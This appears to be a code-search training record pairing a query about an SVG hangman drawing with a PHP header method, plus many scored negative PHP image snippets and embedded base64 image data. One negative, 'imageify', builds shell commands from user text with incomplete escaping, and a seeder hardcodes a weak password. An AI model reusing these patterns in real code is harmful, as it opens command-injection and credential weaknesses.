2yP+jLnmsPGcZrZ09gbcAVrS3Oev8Jd7Uo9KaPelHP0rc5B9KOvNNFOHWgB49qevvTBUqj2oAetPUU0DFSKM80AOXNSg/nTBx2p49aYEi1IBUY61IP0oAcOlPBpvanUAOoFApew4oELRRgUUAc8etMOcVIcUztQMQimn60vGcUhoGJzRmgtSZxQAhNNzzSmkPGKBAeKTtQaaaAFzxSfjVS+1C20+BpbmZI0A5LHFcHq3xIU7o9Mi3f8ATSTp+AoGdbr/AIjs9BtTJM+ZCPljXqxrzv8At7X/ABXdmKCQ2tp0bZxx7msa2S88S6zuuZWfPLsewr0bTrGKygWKJAqgdu9ZVKnLojanTvqw0/TotOtFijyT/E7dWPvWgi0w/eAxUydK573OpKw4Cn4zQoFOH0plDR1xQy7hTlVt5Panlec0AVgvPIxUcgHINXNobJ71WkBB5oERL6Y4qdF9O9Vwec+tTxmgCwqgt0qTyqZHU45OBQMQJ8uKaycYqboO1RSyYGKAKkgGTxiqu096sO3JzUX3mpiHxpjmpSOKcqgjFKVz7UhkBUHtmmsny1Y2bR61HJwOtAisxwK5nxDe6rpcsd9ZSt5af6yPsRXStkGo5YVniaN1BUjpRGVnciceZWJ/DHim2161X5gs4HzLmujyK8R1C3l8Nayt1aMVjZs7RXa6P8Q7O42RXimJ+m/sa607q5xSi4ux3a81Iowaq21zDdRiSGQMp7irQ7HNMkkFSLkioxmpQaAHCpFpop6jmgCQCpFFMFSADvQIctPHpTR0p60AOFOFNB7U4daAHClpBS8UALz60UmcUUDMDpTOlPPvTG68dKAGmm04mmmgBpoozTTzQAHmkzQajeVY13MwA9aAHk54rM1rWrXRrF7i4cDA4UdWPoKxNd8dafpaNHAwnuOyqePxNeV6zrl3rN009zJn+6g+6o9qEBJrviG716+MsrFYgfkjB4Uf41l7qhBOadnNMo7jwWieVK3G8tzXdIAqj6V5r4NvPKvzCTjzOn1r0tRuVfeuOqmpHZTfuiouWziplXmmquOKmAHQdahFgoxTtoNABHFSAelUMaoI608jjpxS7cilwdvNMCHGOahlGelWsDpUUiA96QFA5VqVWIqWRc9ahK45FIZdhkz1q0GGM5rKSUrUwuAy4zimBbkmAFVHlJ+tRNJ6Gmk5oAcTu60+NcHNMVT34qxGmOaYh6DGPepSABxTVxjHenAgjr0oAaw45qtKMVaJyMVXk57UhFbb1zRj0p/IODTJXEaFjwAOaTEcR44dAsafxE1xJbIrW8Tal9v1Vyp/dp8q4rEJ9K7KatFHJUd5HQaB4ovdFuF2yFocgFD0xXtGia3aaxaJJBKrNj5lB6GvnfJrU0rWLvSbhZraQj1BPBq2jM+jFzUy/SuS8J+LYNdtQsjBJ16qTXWLg1JJIPrUq1Go/OpAKAHryOlSCmAcVItADhT1NNFPHWgBwFOFNWnDrQAope9JmlHSgAopR0ooA53JJpG4oooGNIxTG4OKKKAGnpTSaKKAKV9cSQQF0xn3ryPxJ4k1S7nlt3n2RKfuoMZ+tFFMZyTsWOSetMHOaKKYDad2oooAuaZM8N/C6HBDCvZ7Fi9sjN1K0UVzV90dNHYugCnhRRRWKNgPUU5Tk0UUxkgGCad3xRRQMYeppjDiiigCBwM0xlFFFICN0AzxUQGSaKKYx+wYp6oo6CiimIfgcVKhycUUUASLSFiBRRQIbnJppFFFAiNh3rA8V3Elvo07Rtg7etFFOO5MtjyZiWfJ703viiiuw4gHSng4oooAntbqe1nWWCVo3HRlNeq+CPE+p32IbmRZAO5HNFFIb2PS0O5QT1qYcA0UUiB68ipFHNFFAEg6UucUUUASAZp2KKKADvTl560UUAHSiiigD//Z\nEOD;\n DB::table('users')->insert([\n\t 'name' => 'Paul Warren',\n\t 'email' => '[email protected]',\n 'password' => bcrypt('123123'),\n\t 'avatar' => $avatar,\n\t ]);\n }",
"public function createImage()\n {\n if ($this->resize) {\n\n // get the resize dimensions\n $height = (int)array_get($this->resizeDimensions, 'new_height', 320);\n\n $width = (int)array_get($this->resizeDimensions, 'new_width', 240);\n\n if ($this->fit) {\n return Image::make($this->originalPath)->fit($width, $height)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n } else {\n return Image::make($this->originalPath)->resize($width, $height)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n }\n\n } else {\n\n return Image::make($this->originalPath)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n }\n }",
"function show_image($image, $width, $height) { //$image_content = read_file($image); We does not want to use this as output.\n //resize image \n $image = imagecreatefromjpeg($image);\n $thumbImage = imagecreatetruecolor(50, 50);\n imagecopyresized($thumbImage, $image, 0, 0, 0, 0, 50, 50, $width, $height);\n imagedestroy($image);\n //imagedestroy($thumbImage); do not destroy before display :)\n // ob_end_clean(); // clean the output buffer ... if turned on.\n header('Content-Type: image/jpeg');\n imagejpeg($thumbImage); //you does not want to save.. just display\n }",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"public function render()\n {\n header('Content-Type: image/png');\n\n imagepng($this->imageResource);\n imagedestroy($this->imageResource);\n }",
"function createImage($idName) { //TODO: Add parameter for passing image files to use instead \n echo '<img src=\"/php/cms-img/file2.png\" id=\"' . $idName . '\" class=\"nested\"/>';\n }",
"protected function _createImage()\n {\n $this->_height = $this->scale * 60;\n $this->_width = 1.8 * $this->_height;\n $this->_image = imagecreate($this->_width, $this->_height);\n ImageColorAllocate($this->_image, 0xFF, 0xFF, 0xFF);\n }",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"function returnImage($image = \"\")\n {\n if (!$image)\n $image = $this->image;\n\n $fd = fopen($image, \"r\");\n $content = fread( $fd, filesize($image) );\n fclose($fd);\n return $content;\n }",
"function printErrorMsg( $error_string ){\n if($DEBUG){\n print \"$error_string\";\n }\n $xsize=500;\n $ysize=300;\n\n if(!$DEBUG){\n $error_image = ImageCreate($xsize, $ysize);\n $white = imagecolorallocate($error_image, 255, 255, 255);\n $black = imagecolorallocate($error_image, 0,0,0);\n ImageFill($error_image, 0, 0, $white);\n imagerectangle($error_image,0,0,$xsize-1,$ysize-1,$black);\n imagestring($error_image, 14, 5, 5, $error_string, $black);\n header(\"Content-type: image/png\");\n imagepng($error_image);\n imagedestroy($error_image);\n }\n exit(0);\n}",
"function imageify($text){\n\t$text = str_replace('$', '\\$', $text);\n\t$text = str_replace('\"', '\\\"', $text);\n\n\t//select background image (31 to choose from)\n\t$background = \"images/\" . rand(1,31) . \".jpg\";\n\n\t//turn background image upside down\n\texec(\"convert $background -fill black -colorize 70% -rotate \\\"180\\\" background.jpg\");\n\n\t//create text with alpha background\n\t//(current size creates automatic 50px padding on all sides)\n\texec(\"convert -size 924x412 -background none -fill rgba\\(255,255,255,0.9\\) -font Helvetica-Bold -gravity West -interline-spacing 10 caption:\\\"$text\\\" -rotate \\\"180\\\" text.png\");\n\n\t//add them together\n\texec(\"composite -gravity center text.png background.jpg final.jpg\");\n\n\t//add the bug (Twitter handle) on top\n\texec(\"composite bug.png final.jpg final.jpg\");\n}",
"private function createModel()\n\t{\n\t\treturn new Image();\t\t\n\t}"
]
| [
"0.6639298",
"0.6626835",
"0.6621953",
"0.6611568",
"0.6599016",
"0.656784",
"0.656784",
"0.65570116",
"0.6518296",
"0.6492374",
"0.649044",
"0.649044",
"0.6482874",
"0.64606035",
"0.64606035",
"0.64606035",
"0.64606035",
"0.64259464",
"0.6407831",
"0.640222",
"0.63727474",
"0.6358352",
"0.63166636",
"0.6281401",
"0.62672347",
"0.62604076",
"0.62580234",
"0.62539434",
"0.6249075",
"0.6245201",
"0.6235002",
"0.6232458",
"0.62317884",
"0.62255245",
"0.62253857",
"0.6217209",
"0.62123334",
"0.62113243",
"0.6203621",
"0.6200593",
"0.61996627",
"0.6198854",
"0.6168931",
"0.6158073",
"0.6155925",
"0.6150259",
"0.6143211",
"0.61405057",
"0.61395085",
"0.61367023",
"0.6135772",
"0.6115847",
"0.611528",
"0.6111475",
"0.610943",
"0.61052805",
"0.60928214",
"0.6076193",
"0.60599697",
"0.60554373",
"0.60525936",
"0.60447633",
"0.6036573",
"0.60288954",
"0.6012778",
"0.60089725",
"0.6005285",
"0.60041654",
"0.5983944",
"0.59792316",
"0.59785736",
"0.5975287",
"0.5960882",
"0.5958185",
"0.59445846",
"0.5943311",
"0.5937929",
"0.5936901",
"0.5928309",
"0.5923579",
"0.59104365",
"0.59104365",
"0.5908645",
"0.5897965",
"0.5897018",
"0.58951366",
"0.58939093",
"0.5880203",
"0.58783084",
"0.58729696",
"0.58687514",
"0.5858982",
"0.5840727",
"0.5839012",
"0.5837978",
"0.5829298",
"0.5822896",
"0.58189064",
"0.58184445",
"0.58064276"
]
| 0.66364205 | 1 |
end function DrawPicture Create a part of the picture and return as string | public function GetSVGHeader() {
$html = <<<EOD
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px" y="0px"
version="1.1"
width="250px"
height="235px"
viewBox="0 0 250 235"
enable-background="new 0 0 250 235"
xml:space="preserve">
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"function display_graphic($piece)\n{\n}",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"protected function generateGraphic() {}",
"public function toGDImage() {}",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"function DrawOwnerText() {\n $iBlack = imagecolorallocate($this->oImage, 0, 0, 0);\n // get height of selected font\n $iOwnerTextHeight = imagefontheight(2);\n // calculate overall height\n $iLineHeight = $this->iHeight - $iOwnerTextHeight - 4;\n \n // draw line above text to separate from CAPTCHA\n imageline($this->oImage, 0, $iLineHeight, $this->iWidth, $iLineHeight, $iBlack);\n \n // write owner text\n imagestring($this->oImage, 2, 3, $this->iHeight - $iOwnerTextHeight - 3, $this->sOwnerText, $iBlack);\n \n // reduce available height for drawing CAPTCHA\n $this->iHeight = $this->iHeight - $iOwnerTextHeight - 5;\n }",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"function draw_pic ($tab)\n\t{\n\t\t$image = imagecreate($this->pic_width, $this->pic_height);\n\n\t\t// allocation des couleurs\n\t\t$white = imagecolorallocate($image, 255, 255, 255);\n//\t\t$black = imagecolorallocate($image, 0, 0, 0);\t\t\n\t\t$black = imagecolorallocate($image, 50, 58, 77);\t\t\n $grey = imagecolorallocate($image, 84, 96, 117);\n\t\t$red = imagecolorallocate($image, 255, 0, 0);\n\t\t$blue = imagecolorallocate($image, 199, 205, 209);\n\t\t$light_grey = imagecolorallocate($image, 211, 217, 232);\n\t\t$title_color = $black;\n\t\t$shadow_color = $black;\n\n\t\t// calcul de l'echelle a utiliser pour le repere du graphique\n\t\t$this->get_xy($tab);\n\t\t$this->calc_scale();\n\n\t\t// affichage du repere\n\t\timageline($image, 30, 30, 30, $this->pic_height - 60, $black);\n\t\timageline($image, 25, $this->pic_height - 60, $this->pic_width - 30, $this->pic_height - 60,$black);\n\n\t\t// affichage des fleches\n\t\timagefilledpolygon($image, array(26, 30, 34, 30, 30, 22), 3, $black);\n//\t\timagefilledpolygon($image, array($this->pic_width - 30, $this->pic_height - 64, $this->pic_width - 30, $this->pic_height - 56, $this->pic_width - 23, $this->pic_height - 60), 3, $black);\n\n\t\t// affichage de l'echelle des ordonnees et des abcisses\n\t\t$this->draw_y($image, $black, $grey, $light_grey, $tab);\n\t\t$this->draw_x($image, $black, $grey, $tab, $title_color);\n\n\t\t// affichage de l'histogram et de l'echelle des abcisses\n\t\t$this->draw_histo($image, $tab, $blue, $black, $shadow_color);\n\n\t\t//creation et affichage de l'image finale\n\t\timagegif($image);\n\t}",
"function drawImage($filename){\n $img=imagecreatetruecolor(400,300);\n drawFromUserdata($img); //draw on $img\n imagepng($img, $filename); //output the $img to the given $filename as PNG\n imagedestroy($img); //destroy the $img\n }",
"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"public function draw(){\n\t\t$this->doOutputResource();\n\t\t$defExt=\"gif\";\n\t\t$ext = ($this->outputFilename && strtolower(substr($this->outputFilename,-3))==\"$defExt\") ? substr($this->outputFilename,-4) :\".$defExt\";\n\t\t$out = $this->outputFilename.$ext;\n\t\tif(!$this->outputFilename){\n\t\t\theader(\"Content-Type: image/gif\");\n\t\t\t$out=null;\n\t\t}\n\t\t$this->outputFilename = $out;\n\t\treturn imagegif($this->outImage,$this->outputFilename);\n\t}",
"function print_image($path){\n $image = new Imagick();\n $image->readImage(_LOCAL_.$path);\n $height = $image->getImageHeight();\n $width = $image->getImageWidth();\n\n $canvas = new Imagick();\n $canvas->newImage($width,$height,new ImagickPixel('white'));\n $canvas->setImageFormat('png');\n $canvas->compositeImage($image,imagick::COMPOSITE_OVER, 0, 0);\n\n header('Content-type: image/png');\n echo $canvas;\n $image->destroy();\n $canvas->destroy();\n}",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"public function generatePictureLine()\n {\n $values = $this->data;\n\n // Get the total number of columns we are going to plot\n $columns = count($values);\n\n // Get the height and width of the diagram itself\n $width = round($this->w*0.75);\n $height = round($this->h*0.75);\n\n //$padding = 0;\n //$padding_l = 5;\n $padding_h = round(($this->w - $width) / 2);\n $padding_v = round(($this->h - $height) / 2); \n\n // Get the width of 1 column\n $column_width = round ($width / $columns) ;\n \n \n // Fill in the background of the image\n imagefilledrectangle($this->im,0,0,$this->w,$this->h,$this->white);\n\n $maxv = 0;\n\n // Calculate the maximum value we are going to plot\n\n foreach($values as $key => $value) \n {\n $maxv = max($value,$maxv); \n }\n \n $this->drawAxesLabels($width, $height, $column_width, $padding_h,$padding_v, $maxv);\n \n //diagram itself\n $i=0;\n //for ($i = 0;$i<count($values);)\n foreach ($values as $key => $value)\n {\n //if ($i==count($values))\n // break;\n $column_height1 = ($height / 100) * (( $value / $maxv) *100);\n $x1 = $i*$column_width + $padding_h + $column_width/2;\n $y1 = $height-$column_height1 + $padding_v;\n $i++;\n if ($i<2)\n {\n $column_height2 = ($height / 100) * (( $value / $maxv) *100);\n $x2 = (($i)*$column_width) + $padding_h + $column_width/2;\n $y2 = $height-$column_height2 + $padding_v;\n }\n if ($i>1)\n imageline($this->im,$x1,$y1,$x2,$y2,$this->color_helper->img_colorallocate($this->im, $this->color_helper->nextColor()));\n $x2 = $x1; \n\t\t$y2 = $y1;\n }\n \n return $this->im;\n }",
"public function draw();",
"public function makeImage()\n {\n $x_width = 200;\n $y_width = 125;\n\n $this->image = imagecreatetruecolor(200, 125);\n\n $this->white = imagecolorallocate($this->image, 255, 255, 255);\n $this->black = imagecolorallocate($this->image, 0, 0, 0);\n $this->red = imagecolorallocate($this->image, 255, 0, 0);\n $this->green = imagecolorallocate($this->image, 0, 255, 0);\n $this->grey = imagecolorallocate($this->image, 128, 128, 128);\n\n $this->red = imagecolorallocate($this->image, 231, 0, 0);\n\n $this->yellow = imagecolorallocate($this->image, 255, 239, 0);\n $this->green = imagecolorallocate($this->image, 0, 129, 31);\n\n $this->color_palette = [$this->red, $this->yellow, $this->green];\n\n imagefilledrectangle($this->image, 0, 0, 200, 125, $this->white);\n\n $border = 25;\n\n $lines = [\"e\", \"g\", \"b\", \"d\", \"f\"];\n $i = 0;\n foreach ($lines as $key => $line) {\n $x1 = 0;\n $x2 = $x_width;\n $y1 = $i * 15 + 25;\n $y2 = $y1;\n imageline(\n $this->image,\n $x1 + $border,\n $y1,\n $x2 - $border,\n $y2,\n $this->black\n );\n $i = $i + 1;\n }\n\n imageline(\n $this->image,\n 0 + $border,\n 25,\n 0 + $border,\n 4 * 15 + 25,\n $this->black\n );\n imageline(\n $this->image,\n 200 - $border,\n 25,\n 200 - $border,\n 4 * 15 + 25,\n $this->black\n );\n\n $textcolor = $this->black;\n\n $font = $this->default_font;\n\n $size = 10;\n $angle = 0;\n\n if (!isset($this->bar_count) or $this->bar_count == \"X\") {\n $this->bar_count = 0;\n }\n $count_notation = $this->bar_count + 1;\n\n if (file_exists($font)) {\n if (\n $count_notation != 1 or\n $count_notation == $this->max_bar_count\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 0 + 10,\n 110,\n $this->black,\n $font,\n $count_notation\n );\n }\n\n if (\n $count_notation + 1 != 1 or\n $count_notation + 1 == $this->max_bar_count + 1\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 200 - 25,\n 110,\n $this->black,\n $font,\n $count_notation + 1\n );\n }\n }\n }",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"function saveImageWithText($text, $color, $source_file,$x,$y) {\n $public_file_path = '.';\n\n // dublicate the realimage\n list($width, $height) = getimagesize($source_file);\n $image_p = imagecreatetruecolor($width, $height);\n $image = imagecreatefromjpeg($source_file);\n imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width, $height);\n\n // text size and colors\n $text_color = imagecolorallocate($image_p, 0, 0, 0);\n $bg_color = imagecolorallocate($image_p, 255, 255, 255);\n $font = $public_file_path . '/arial.ttf';\n $font_size = 12;\n\n // Set the text position\n $offset_x = $x;\n $offset_y = $y;\n $dims = imagettfbbox($font_size, 0, $font, $text);\n $text_width = $dims[4] - $dims[6] + $offset_x;\n $text_height = $dims[3] - $dims[5] + $offset_y;\n\n\n // Add text\n imagettftext($image_p, $font_size, 0, $offset_x, $offset_y, $text_color, $font, $text);\n\n // Save\n imagejpeg($image_p, $public_file_path . '/output.jpg', 100);\n\n // Clear\n imagedestroy($image);\n imagedestroy($image_p);\n}",
"protected function _drawText()\n {\n $x = $this->_width*0.05;\n $y = $this->_height*0.96;\n\n $text_color=ImageColorAllocate($this->_image, 0x00, 0x00, 0x00);\n\n $fontsize = $this->scale*7;\n $kerning = $fontsize*1;\n\n for($i=0;$i<strlen($this->number);$i++)\n {\n imagettftext($this->_image, $fontsize, 0, $x, $y, $text_color, $this->font, $this->number[$i]);\n if($i==0 || $i==6)\n $x += $kerning*0.5;\n $x += $kerning;\n }\n }",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"public function getAbsolutePicture();",
"function drawRating($rating) {\n $image = imagecreate(102,10);\n $back = ImageColorAllocate($image,0,0,0);\n echo $back;\n $border = ImageColorAllocate($image,0,0,0);\n $red = ImageColorAllocate($image,255,60,75);\n $fill = ImageColorAllocate($image,44,81,150);\n ImageFilledRectangle($image,0,0,101,9,$back);\n// ImageFilledRectangle($image,1,1,$rating,9,$fill);\n// ImageRectangle($image,0,0,101,9,$border);\n imagePNG($image,\"aaa.png\");\n imagedestroy($image);\n}",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function create_image(){\n\t\t$md5_hash = md5(rand(0,999));\n\t\t$security_code = substr($md5_hash, 15, 5);\n\t\t$this->Session->write('security_code',$security_code);\n\t\t$width = 80;\n\t\t$height = 22;\n\t\t$image = ImageCreate($width, $height);\n\t\t$black = ImageColorAllocate($image, 37, 170, 226);\n\t\t$white = ImageColorAllocate($image, 255, 255, 255);\n\t\tImageFill($image, 0, 0, $black);\n\t\tImageString($image, 5, 18, 3, $security_code, $white);\n\t\theader(\"Content-Type: image/jpeg\");\n\t\tImageJpeg($image);\n\t\tImageDestroy($image);\n\t}",
